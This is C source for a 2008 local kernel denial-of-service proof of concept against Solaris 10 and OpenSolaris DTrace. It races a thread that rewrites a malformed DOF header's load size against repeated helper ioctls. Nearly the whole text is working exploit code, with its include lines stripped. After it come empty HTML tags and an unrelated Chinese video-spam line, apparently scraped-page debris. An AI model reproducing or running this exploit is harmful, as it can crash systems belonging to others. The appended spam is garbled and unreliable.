/* solaris-dtrace-dos.c * * Copyright (c) 2008 by * * Solaris >= 10/Opensolaris local kernel DoS POC * by mu-b - Mon 17 Nov 2008 * * - Tested on: Sun Solaris 10 (SPARC) * Sun OpenSolaris <= snv_113 (x86) * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! */ #include #include #include #include #include #include #include #include #include #include #define DTRACE_HELPER "/dev/dtrace/helper" static unsigned int changes = 0; void * hammer (void *arg) { struct dof_hdr *phdr; phdr = arg; while (1) { phdr->dofh_loadsz = -1; changes++; usleep (10); } } int main (int argc, char **argv) { union { struct dof_hdr hdr; unsigned char buf[256*1024]; } hdr_t; struct dof_hdr *phdr; int i, fd, n, tid; printf ("Solaris >= 10/Opensolaris local kernel DoS PoC\n" "by: \n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); fd = open (DTRACE_HELPER, O_RDONLY); if (fd < 0) { fprintf (stderr, "failed opening %s\n", DTRACE_HELPER); return (EXIT_FAILURE); } phdr = &hdr_t.hdr; memset (phdr, 0, sizeof *phdr); memcpy (&phdr->dofh_ident, DOF_MAG_STRING, DOF_MAG_STRLEN); phdr->dofh_ident[DOF_ID_MODEL] = DOF_MODEL_LP64; phdr->dofh_ident[DOF_ID_ENCODING] = DOF_ENCODE_NATIVE; phdr->dofh_ident[DOF_ID_VERSION] = DOF_VERSION_2; phdr->dofh_ident[DOF_ID_DIFVERS] = DOF_VERSION_2; phdr->dofh_ident[DOF_ID_DIFIREG] = DIF_DIR_NREGS; phdr->dofh_ident[DOF_ID_DIFTREG] = DIF_DTR_NREGS; phdr->dofh_secsize = 1024; phdr->dofh_secnum = 1024; phdr->dofh_secoff = 0x7fffffffffff0000; n = pthread_create (&tid, NULL, hammer, phdr); if (n < 0) { fprintf (stderr, "failed creating hammer thread\n"); return (EXIT_FAILURE); } for (i = 0; ; i++) { phdr->dofh_loadsz = sizeof hdr_t / 2; n = ioctl (fd, DTRACEHIOC_ADD, phdr); assert (n == -1); if (!(i % 64)) printf ("tried %d-times, %d-changes\r", i, changes); } /* not reached! */ return (EXIT_SUCCESS); }

    <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    这里只有精品视频